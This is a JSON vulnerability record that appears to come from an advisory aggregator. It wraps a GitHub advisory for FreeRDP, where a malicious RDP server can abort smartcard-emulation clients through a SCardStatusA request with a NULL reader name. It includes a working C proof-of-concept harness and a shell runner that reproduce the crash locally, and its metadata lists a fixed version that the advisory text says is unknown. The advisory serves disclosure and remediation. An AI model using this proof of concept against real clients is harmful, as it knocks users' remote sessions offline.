{"schema":"threatline.record/2","record":{"id":"GHSA-996j-34w6-5hgm","aliases":["GHSA-996j-34w6-5hgm"],"summary":"Server-controlled SCardStatusA NULL reader-name request aborts FreeRDP smartcard-emulation clients","details":"### Summary\r\n\r\nWhen a user connects a FreeRDP client to a malicious or compromised RDP server with smartcard emulation enabled, the server can send a legal `SCardStatusA` request with `fmszReaderNamesIsNULL=1`. FreeRDP translates that flag into a NULL reader-name destination but still calls `scard_copy_strings`, which asserts that the destination is non-NULL. A Release build compiled with `WITH_VERBOSE_WINPR_ASSERT=ON` aborts deterministically.\r\n\r\nThis was reproduced over a real loopback TLS/RDP session. The unmodified client announced its emulated smartcard, accepted stock FreeRDP server requests for `EstablishContext` and `ConnectA`, and returned a valid card handle. A safe Status control completed successfully and the client remained alive. The NULL-buffer Status request reached `WINPR_ASSERT(dst)`, raised `SIGABRT`, and exited 134 without returning a completion.\r\n\r\nThis is a configuration-specific client availability issue. It does not demonstrate smartcard credential disclosure, memory corruption, code execution, or impact when verbose assertions are disabled.\r\n\r\n### Affected versions and prerequisites\r\n\r\nThe affected smartcard-emulation source is present in inspected FreeRDP releases 3.0.0 through 3.31.1 and current `master`. No fixed release is known.\r\n\r\nRequired conditions:\r\n\r\n- the user connects to a malicious or compromised RDP server;\r\n- smartcard emulation is enabled and redirected to that server;\r\n- an emulated context and card handle have been established; and\r\n- FreeRDP was built with `WITH_VERBOSE_WINPR_ASSERT=ON`.\r\n\r\nThe CMake option defaults to ON, but `docs/README.building` recommends explicitly setting it to OFF for stable builds. Deployment prevalence is unknown.\r\n\r\n### Technical details\r\n\r\n`smartcard_unpack_status_call` in `libfreerdp/utils/smartcard_pack.c` reads the server-controlled `fmszReaderNamesIsNULL` field. `smartcard_StatusA_Call` in `libfreerdp/utils/smartcard_call.c` honors a true value by setting `cchReaderLen=0` and passing NULL as the reader-name destination to `SCardStatusA`.\r\n\r\nThe emulated implementation in `libfreerdp/emu/scard/smartcard_emulate.c` checks only whether the length pointer exists, then passes the NULL destination to `scard_copy_strings`:\r\n\r\n```c\r\nif (pcchReaderLen)\r\n\t*pcchReaderLen =\r\n\t    scard_copy_strings(ctx, mszReaderNames, *pcchReaderLen, hdl->szReader.pc,\r\n\t                       (UINT32)strlen(hdl->szReader.pc) + 2);\r\n```\r\n\r\nThe helper immediately executes `WINPR_ASSERT(dst)`. With verbose assertions compiled in, this reaches `winpr_int_assert` and aborts the process. With them compiled out, the tested path returned normally.\r\n\r\nThe emulation layer introduced the affected pattern before FreeRDP 3.0.0. The same source remains in 3.31.1 and current `master`. Searches found no exact published advisory, issue, or fix; issues #4743 and #2184 concern different smartcard behavior.\r\n\r\n### Reproduction\r\n\r\nThe full network replay attached FreeRDP's stock `RdpdrServerContext` to `freerdp-shadow-cli` using a disposable server-side preload because that application does not instantiate RDPDR itself. The preload called public smartcard server APIs and did not modify the wire data or client. FreeRDP's production serializers, TLS/RDP transport, RDPDR framing, client decoder and emulated smartcard implementation handled the rest.\r\n\r\nSanitized network results:\r\n\r\n```text\r\ncontrol: sent=1 completion_received=1 client_died_before_cleanup=0 client_rc=145\r\nattack:  sent=1 completion_received=0 client_died_before_cleanup=1 client_rc=134\r\nattack:  WINPR_ASSERT(dst) at scard_copy_strings; caught SIGABRT\r\n```\r\n\r\nThe control's status 145 is deliberate cleanup after successful observation. The attack's 134 is the assertion abort. The environment-specific network runner is not included in this portable package.\r\n\r\nThe sibling source-only PoC independently drives FreeRDP's request encoder, production request decoder, `smartcard_irp_device_control_call`, and emulated `SCardStatusA`, with assertions-on and assertions-off Release builds:\r\n\r\n```sh\r\n./poc/run.sh SOURCE_DIR ASSERTIONS_ON_BUILD ASSERTIONS_OFF_BUILD\r\n```\r\n\r\nObserved output:\r\n\r\n```text\r\nPASS assertions-on: StatusA(NULL reader names) aborted at scard_copy_strings(dst)\r\nPASS assertions-off: the same StatusA request returned normally\r\n```\r\n\r\nThe positive case intentionally aborts the local harness. The runner disables core dumps, uses disposable certificate material, performs no network access, and cleans up its temporary files by default.\r\n\r\n### Impact\r\n\r\nA malicious or compromised RDP server can terminate an assertion-enabled FreeRDP client that redirects an emulated smartcard. The network replay used a valid context and card handle obtained through ordinary request/response exchanges and required no malformed length or race. No confidentiality or integrity impact was observed. The assertions-off Release control exited successfully, so the report makes no availability or memory-safety claim for that configuration.\r\n\r\n### Remediation\r\n\r\nHandle `fmszReaderNamesIsNULL` explicitly in `Emulate_SCardStatusA` and the parallel wide-character path. When the destination is NULL and the requested length is zero, return a zero reader-name length without calling the copy helper. Reject NULL with a nonzero length. The generic helper should return an error for invalid input rather than treating a remotely reachable condition as an assertion invariant.\r\n\r\nAdd production-call regression tests for ANSI and wide Status requests with the NULL flag both set and clear, in Release builds with verbose assertions both ON and OFF.\r\n\r\n### Portable PoC files\r\n\r\n<!-- BEGIN FILE: poc/status_null.c -->\r\n```c\r\n#define _POSIX_C_SOURCE 200809L\r\n\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include <freerdp/channels/rdpdr.h>\r\n#include <freerdp/channels/scard.h>\r\n#include <freerdp/freerdp.h>\r\n#include <freerdp/settings.h>\r\n#include <freerdp/utils/rdpdr_utils.h>\r\n#include <freerdp/utils/smartcard_call.h>\r\n#include <freerdp/utils/smartcard_operations.h>\r\n#include <freerdp/utils/smartcard_pack.h>\r\n#include <winpr/crt.h>\r\n#include <winpr/smartcard.h>\r\n#include <winpr/stream.h>\r\n\r\nstatic scard_call_context* g_smartcard = NULL;\r\nstatic NTSTATUS g_io_status = 0;\r\n\r\nstatic char* read_text_file(const char* path)\r\n{\r\n\tFILE* fp = fopen(path, \"rb\");\r\n\tif (!fp)\r\n\t\treturn NULL;\r\n\tif (fseek(fp, 0, SEEK_END) != 0)\r\n\t{\r\n\t\tfclose(fp);\r\n\t\treturn NULL;\r\n\t}\r\n\tconst long length = ftell(fp);\r\n\tif ((length < 0) || (fseek(fp, 0, SEEK_SET) != 0))\r\n\t{\r\n\t\tfclose(fp);\r\n\t\treturn NULL;\r\n\t}\r\n\tchar* data = calloc(1, (size_t)length + 1);\r\n\tif (!data || (fread(data, 1, (size_t)length, fp) != (size_t)length))\r\n\t{\r\n\t\tfree(data);\r\n\t\tdata = NULL;\r\n\t}\r\n\tfclose(fp);\r\n\treturn data;\r\n}\r\n\r\nstatic wStream* wrap_request(UINT32 code, wStream* inner)\r\n{\r\n\tconst size_t total = RDPDR_DEVICE_IO_CONTROL_REQ_HDR_LENGTH + Stream_Length(inner);\r\n\twStream* stream = Stream_New(NULL, total);\r\n\tif (!stream)\r\n\t\treturn NULL;\r\n\tStream_Write_UINT32(stream, 2048);\r\n\tStream_Write_UINT32(stream, (UINT32)Stream_Length(inner));\r\n\tStream_Write_UINT32(stream, code);\r\n\tStream_Zero(stream, 20);\r\n\tStream_Write(stream, Stream_Buffer(inner), Stream_Length(inner));\r\n\tStream_SealLength(stream);\r\n\tStream_SetPosition(stream, 0);\r\n\treturn stream;\r\n}\r\n\r\nstatic BOOL run_operation(const SMARTCARD_OPERATION* operation, SMARTCARD_OPERATION* result)\r\n{\r\n\twStream* encoded = Stream_New(NULL, 8192);\r\n\tif (!encoded ||\r\n\t    (smartcard_irp_device_control_encode_request(encoded, operation) != SCARD_S_SUCCESS))\r\n\t{\r\n\t\tStream_Free(encoded, TRUE);\r\n\t\treturn FALSE;\r\n\t}\r\n\twStream* request = wrap_request(operation->ioControlCode, encoded);\r\n\tStream_Free(encoded, TRUE);\r\n\tif (!request)\r\n\t\treturn FALSE;\r\n\r\n\tSMARTCARD_OPERATION decoded = { 0 };\r\n\tconst LONG decode_status =\r\n\t    smartcard_irp_device_control_decode_request(request, 1, 0, &decoded);\r\n\tStream_Free(request, TRUE);\r\n\tif (decode_status != SCARD_S_SUCCESS)\r\n\t\treturn FALSE;\r\n\r\n\twStream* output = Stream_New(NULL, 16384);\r\n\tif (!output)\r\n\t{\r\n\t\tsmartcard_operation_free(&decoded, FALSE);\r\n\t\treturn FALSE;\r\n\t}\r\n\tStream_Zero(output, 16);\r\n\tconst LONG call_status =\r\n\t    smartcard_irp_device_control_call(g_smartcard, output, &g_io_status, &decoded);\r\n\tStream_SetPosition(output, RDPDR_DEVICE_IO_RESPONSE_LENGTH);\r\n\tSMARTCARD_OPERATION response = { 0 };\r\n\tconst LONG response_status = smartcard_irp_device_control_decode_response(\r\n\t    output, operation->ioControlCode, &response);\r\n\tStream_Free(output, TRUE);\r\n\tsmartcard_operation_free(&decoded, FALSE);\r\n\tif ((call_status != SCARD_S_SUCCESS) || (response_status != SCARD_S_SUCCESS))\r\n\t{\r\n\t\tsmartcard_operation_free(&response, FALSE);\r\n\t\treturn FALSE;\r\n\t}\r\n\t*result = response;\r\n\treturn TRUE;\r\n}\r\n\r\nstatic void fill_context(REDIR_SCARDCONTEXT* context, SCARDCONTEXT value)\r\n{\r\n\tcontext->cbContext = sizeof(value);\r\n\tmemcpy(context->pbContext, &value, sizeof(value));\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tif (argc != 3)\r\n\t{\r\n\t\tfprintf(stderr, \"usage: %s CERTIFICATE PRIVATE_KEY\\n\", argv[0]);\r\n\t\treturn 64;\r\n\t}\r\n\r\n\tchar* certificate = read_text_file(argv[1]);\r\n\tchar* private_key = read_text_file(argv[2]);\r\n\tif (!certificate || !private_key)\r\n\t{\r\n\t\tfprintf(stderr, \"unable to read certificate material\\n\");\r\n\t\tfree(certificate);\r\n\t\tfree(private_key);\r\n\t\treturn 65;\r\n\t}\r\n\r\n\trdpSettings* settings = freerdp_settings_new(0);\r\n\tfreerdp instance = { 0 };\r\n\trdpContext context = { 0 };\r\n\tif (!settings)\r\n\t\treturn 66;\r\n\tinstance.context = &context;\r\n\tcontext.instance = &instance;\r\n\tcontext.settings = settings;\r\n\tfreerdp_settings_set_pointer(settings, FreeRDP_instance, &instance);\r\n\tif (!freerdp_settings_set_bool(settings, FreeRDP_SmartcardEmulation, TRUE) ||\r\n\t    !freerdp_settings_set_string(settings, FreeRDP_SmartcardCertificate, certificate) ||\r\n\t    !freerdp_settings_set_string(settings, FreeRDP_SmartcardPrivateKey, private_key) ||\r\n\t    !freerdp_settings_set_string(settings, FreeRDP_Password, \"1234\"))\r\n\t\treturn 67;\r\n\r\n\tg_smartcard = smartcard_call_context_new_with_context(&context);\r\n\tif (!g_smartcard)\r\n\t\treturn 68;\r\n\r\n\tSMARTCARD_OPERATION establish = { 0 };\r\n\testablish.ioControlCode = SCARD_IOCTL_ESTABLISHCONTEXT;\r\n\testablish.call.establishContext.dwScope = SCARD_SCOPE_USER;\r\n\testablish.outputBufferLength = 16384;\r\n\tSMARTCARD_OPERATION establish_result = { 0 };\r\n\tif (!run_operation(&establish, &establish_result))\r\n\t\treturn 69;\r\n\tSCARDCONTEXT card_context = 0;\r\n\tmemcpy(&card_context, establish_result.ret.establishContext.hContext.pbContext,\r\n\t       sizeof(card_context));\r\n\tsmartcard_operation_free(&establish_result, FALSE);\r\n\r\n\tSMARTCARD_OPERATION connect = { 0 };\r\n\tconnect.ioControlCode = SCARD_IOCTL_CONNECTA;\r\n\tfill_context(&connect.call.connectA.Common.handles.hContext, card_context);\r\n\tconnect.call.connectA.Common.dwShareMode = SCARD_SHARE_SHARED;\r\n\tconnect.call.connectA.Common.dwPreferredProtocols = SCARD_PROTOCOL_T1;\r\n\tconnect.call.connectA.szReader = (char*)\"reader\";\r\n\tconnect.outputBufferLength = 16384;\r\n\tSMARTCARD_OPERATION connect_result = { 0 };\r\n\tif (!run_operation(&connect, &connect_result))\r\n\t\treturn 70;\r\n\tSCARDHANDLE card = 0;\r\n\tmemcpy(&card, connect_result.ret.connect.hCard.pbHandle, sizeof(card));\r\n\tsmartcard_operation_free(&connect_result, FALSE);\r\n\r\n\tSMARTCARD_OPERATION status = { 0 };\r\n\tstatus.ioControlCode = SCARD_IOCTL_STATUSA;\r\n\tfill_context(&status.call.status.handles.hContext, card_context);\r\n\tstatus.call.status.handles.hCard.cbHandle = sizeof(card);\r\n\tmemcpy(status.call.status.handles.hCard.pbHandle, &card, sizeof(card));\r\n\tstatus.call.status.fmszReaderNamesIsNULL = TRUE;\r\n\tstatus.call.status.cchReaderLen = 0;\r\n\tstatus.call.status.cbAtrLen = 32;\r\n\tstatus.outputBufferLength = 16384;\r\n\tSMARTCARD_OPERATION status_result = { 0 };\r\n\tputs(\"sending StatusA with fmszReaderNamesIsNULL=1\");\r\n\tfflush(stdout);\r\n\t(void)run_operation(&status, &status_result);\r\n\tputs(\"StatusA returned without abort\");\r\n\treturn 0;\r\n}\r\n```\r\n<!-- END FILE: poc/status_null.c -->\r\n\r\n<!-- BEGIN FILE: poc/run.sh -->\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\nif [ \"$#\" -lt 2 ] || [ \"$#\" -gt 3 ]; then\r\n\techo \"usage: $0 SOURCE_DIR ASSERTIONS_ON_BUILD [ASSERTIONS_OFF_BUILD]\" >&2\r\n\texit 2\r\nfi\r\n\r\nPOC_DIR=$(CDPATH= cd -- \"$(dirname -- \"$0\")\" && pwd)\r\nSOURCE=$(CDPATH= cd -- \"$1\" && pwd)\r\nASSERT_ON=$(CDPATH= cd -- \"$2\" && pwd)\r\nASSERT_OFF=\r\nif [ \"$#\" -eq 3 ]; then\r\n\tASSERT_OFF=$(CDPATH= cd -- \"$3\" && pwd)\r\nfi\r\n\r\nREVISION=$(git -c safe.directory=\"$SOURCE\" -C \"$SOURCE\" rev-parse HEAD)\r\ncase \"$REVISION\" in\r\n\t63b948ca5cb94307fd5444ee6e73927a41ccdab4|\\\r\n\tfe8e4a68c7b7c6a80e0f7e92778ccf63df5ef7c3|\\\r\n\t193fe551c9925c761722f589437decf9bc81d7aa)\r\n\t\t;;\r\n\t*)\r\n\t\techo \"unsupported source revision: $REVISION\" >&2\r\n\t\techo \"use FreeRDP 3.31.1 or one of the two inspected master revisions\" >&2\r\n\t\texit 2\r\n\t\t;;\r\nesac\r\n\r\nWORK_ROOT=${POC_WORK_ROOT:-${TMPDIR:-/tmp}}\r\nWORK=$(mktemp -d \"$WORK_ROOT/freerdp-status-null.XXXXXX\")\r\ncleanup()\r\n{\r\n\tif [ \"${KEEP_ARTIFACTS:-0}\" = 1 ]; then\r\n\t\techo \"artifacts retained in $WORK\"\r\n\telse\r\n\t\trm -rf \"$WORK\"\r\n\tfi\r\n}\r\ntrap cleanup EXIT INT TERM\r\nulimit -c 0 2>/dev/null || true\r\n\r\nopenssl req -x509 -newkey rsa:2048 -nodes -days 1 -subj '/CN=localhost' \\\r\n\t-keyout \"$WORK/key.pem\" -out \"$WORK/cert.pem\" >/dev/null 2>&1\r\n\r\nfind_library()\r\n{\r\n\tfind \"$1\" -type f -name \"$2\" -print | sort -V | tail -n 1\r\n}\r\n\r\nrun_case()\r\n{\r\n\tname=$1\r\n\tbuild=$2\r\n\texpected=$3\r\n\tcache=\"$build/CMakeCache.txt\"\r\n\tif [ ! -f \"$cache\" ]; then\r\n\t\techo \"missing CMakeCache.txt in $build\" >&2\r\n\t\texit 2\r\n\tfi\r\n\tgrep -q '^CMAKE_BUILD_TYPE:STRING=Release$' \"$cache\"\r\n\tgrep -q \"^WITH_VERBOSE_WINPR_ASSERT:BOOL=$expected$\" \"$cache\"\r\n\r\n\tcore=$(find_library \"$build\" 'libfreerdp3.so.*')\r\n\twinpr=$(find_library \"$build\" 'libwinpr3.so.*')\r\n\tif [ -z \"$core\" ] || [ -z \"$winpr\" ]; then\r\n\t\techo \"required FreeRDP libraries not found in $build\" >&2\r\n\t\texit 2\r\n\tfi\r\n\tlibrary_paths=$(find \"$build\" -type f -name '*.so.*' -printf '%h\\n' | sort -u | paste -sd: -)\r\n\tif [ -n \"${DEPENDENCY_LIBRARY_DIR:-}\" ]; then\r\n\t\tdependency_paths=$(find \"$DEPENDENCY_LIBRARY_DIR\" -type f -name '*.so.*' -printf '%h\\n' | sort -u | paste -sd: -)\r\n\t\tlibrary_paths=\"$library_paths:$dependency_paths\"\r\n\tfi\r\n\r\n\tcc -std=c11 -Wall -Wextra -Wno-deprecated-declarations -Wno-type-limits -O2 \\\r\n\t\t-I\"$SOURCE/include\" -I\"$SOURCE/winpr/include\" \\\r\n\t\t-I\"$build/include\" -I\"$build/winpr/include\" \\\r\n\t\t\"$POC_DIR/status_null.c\" \"$core\" \"$winpr\" \\\r\n\t\t-Wl,--allow-shlib-undefined -o \"$WORK/status-null-$name\"\r\n\r\n\tset +e\r\n\tLD_LIBRARY_PATH=\"$library_paths\" \\\r\n\t\t\"$WORK/status-null-$name\" \"$WORK/cert.pem\" \"$WORK/key.pem\" \\\r\n\t\t>\"$WORK/$name.stdout\" 2>\"$WORK/$name.stderr\"\r\n\trc=$?\r\n\tset -e\r\n\tprintf '%s\\n' \"$rc\" >\"$WORK/$name.rc\"\r\n}\r\n\r\nrun_case assertions-on \"$ASSERT_ON\" ON\r\ntest \"$(cat \"$WORK/assertions-on.rc\")\" -eq 134\r\ngrep -q 'scard_copy_strings' \"$WORK/assertions-on.stderr\"\r\ngrep -q '((dst))' \"$WORK/assertions-on.stderr\"\r\necho 'PASS assertions-on: StatusA(NULL reader names) aborted at scard_copy_strings(dst)'\r\n\r\nif [ -n \"$ASSERT_OFF\" ]; then\r\n\trun_case assertions-off \"$ASSERT_OFF\" OFF\r\n\ttest \"$(cat \"$WORK/assertions-off.rc\")\" -eq 0\r\n\tgrep -q 'StatusA returned without abort' \"$WORK/assertions-off.stdout\"\r\n\t! grep -q 'winpr_int_assert' \"$WORK/assertions-off.stderr\"\r\n\techo 'PASS assertions-off: the same StatusA request returned normally'\r\nelse\r\n\techo 'SKIP assertions-off: provide a Release build configured with WITH_VERBOSE_WINPR_ASSERT=OFF'\r\nfi\r\n```\r\n<!-- END FILE: poc/run.sh -->","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-996j-34w6-5hgm","source_modified_at":"2026-09-29T09:09:02Z","fetched_at":"2026-10-25T21:40:15.971031Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 3.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-996j-34w6-5hgm","source_modified_at":"2026-09-29T09:09:02Z","fetched_at":"2026-10-25T21:40:15.971031Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T09:09:02Z","modified_at":"2026-09-29T09:09:02Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-996j-34w6-5hgm","fetched_at":"2026-10-25T21:40:15.971031Z","source_modified_at":"2026-09-29T09:09:02Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-29T09:09:02Z","content_hash":"64db0458984a61000eaa44d6e71a510483d2769207dc9af7da6ca10cc60c99e6"}}
